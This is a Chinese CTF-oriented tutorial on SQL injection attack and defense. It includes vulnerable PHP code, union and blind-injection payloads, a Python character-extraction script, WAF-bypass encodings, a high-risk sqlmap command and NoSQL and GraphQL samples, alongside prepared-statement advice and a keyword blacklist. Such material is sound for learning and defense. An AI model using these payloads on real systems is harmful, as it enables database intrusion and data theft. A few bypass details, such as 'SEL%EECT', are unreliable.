少横1. SQL注入攻防全景解析
在CTF竞赛和实际渗透测试中，SQL注入始终是Web安全领域的"常青树"漏洞。去年全球漏洞数据库统计显示，约23%的Web漏洞与SQL注入相关。不同于XSS或CSRF等前端漏洞，SQL注入直接威胁数据库安全，可能造成数据泄露、权限提升甚至服务器沦陷。
我参与过数十场CTF赛事，发现约60%的Web题会涉及SQL注入变种。从基础的联合查询到复杂的盲注，从MySQL到NoSQL，攻击手法不断进化。本文将系统梳理SQL注入的完整知识体系，包含CTF中最常见的7类注入场景和对应的防御方案。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. SQL注入核心原理剖析
2.1 漏洞产生机制
当应用程序将用户输入直接拼接到SQL语句时，攻击者通过构造特殊输入改变原语句逻辑。典型漏洞代码示例：
php复制$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
这种拼接方式使得攻击者输入1 OR 1=1即可绕过验证。我曾用Wireshark抓包分析，发现未过滤的输入在SQL解析时会被当作语法而非数据。
2.2 注入点检测方法论
在CTF中通常通过以下步骤定位注入点：
- 单引号测试：输入
'观察是否报错 - 逻辑测试：
and 1=1与and 1=2对比响应 - 延时测试：
sleep(5)判断盲注可能
实战经验：现代WAF会拦截常见测试语句，建议使用
/*!50400...*/MySQL特有注释绕过
3. CTF常见注入类型实战
3.1 联合查询注入
基础Payload结构：
sql复制1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
关键技巧：
- 通过NULL占位确定列数
- 使用
hex()编码绕过过滤 limit 1,1逐行读取数据
去年某CTF赛题就要求通过联合查询获取flag表内容，需要使用0x十六进制编码绕过关键字过滤。
3.2 布尔盲注进阶技巧
当页面无显错时，通过条件响应差异获取数据。Python自动化脚本示例：
python复制import requests
url = "http://ctf.example.com/item?id=1"
charset = "0123456789abcdef"
result = ""
for i in range(1,20):
for c in charset:
payload = f"1' AND substr((SELECT flag FROM flags),{i},1)='{c}'--"
r = requests.get(url+payload)
if "exists" in r.text:
result += c
break
print(result)
3.3 时间盲注优化方案
使用二分查找法大幅提高效率：
sql复制IF(ASCII(SUBSTR(database(),1,1))>100,SLEEP(2),0)
实测表明，传统逐字符检测需要200+请求，二分法仅需30次左右。
4. 现代WAF绕过艺术
4.1 特殊编码技术
- Unicode编码：
SELECT→SEL%EECT - 注释分割：
SEL/*xxx*/ECT - 大小写混合：
SeLeCt
4.2 非常用函数替代
- 代替
concat()：make_set(),lpad() - 代替
substr()：right(),mid() - 代替
sleep()：benchmark(),get_lock()
5. 防御方案深度解析
5.1 预处理语句最佳实践
Java示例：
java复制String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);
5.2 过滤策略设计要点
建议采用白名单+黑名单双重机制：
- 基础关键字过滤：
union|select|from|where - 特殊字符限制：
'|"|;|-- - 正则校验：
/^[a-z0-9]+$/i
6. CTF实战案例复盘
6.1 某次比赛中的JSON注入
题目接收JSON格式参数：
json复制{"id":"1' UNION SELECT 1,flag,3 FROM flags--"}
解法：使用\u0027代替单引号绕过检测
6.2 二次注入漏洞利用
攻击流程：
- 注册用户名为
admin'-- - 修改密码时触发注入：
sql复制UPDATE users SET password='123' WHERE username='admin'-- '
7. 自动化工具链配置
推荐测试工具组合：
- SQLmap：
--tamper=charencode启用编码模块 - Burp Suite：Intruder模块进行模糊测试
- 自定义Python脚本处理特殊场景
配置示例：
bash复制sqlmap -u "http://target.com?id=1" --level=5 --risk=3 --tamper=between,randomcase
8. 新型注入趋势观察
8.1 NoSQL注入
MongoDB示例：
javascript复制db.users.find({username: {"$ne": ""}, password: {"$ne": ""}})
8.2 GraphQL注入
通过恶意查询获取敏感信息：
graphql复制query {
users(filter: "1=1 UNION SELECT * FROM passwords") {
id
name
}
}
在最近参与的CTF中，遇到需要结合SQL注入和XXE的组合漏洞，最终通过LOAD_FILE()函数读取系统文件获取flag。这提醒我们现代Web安全需要多维度的防御策略。建议在日常训练中使用DVWA、WebGoat等靶场系统练习，同时关注OWASP Top 10的更新动态。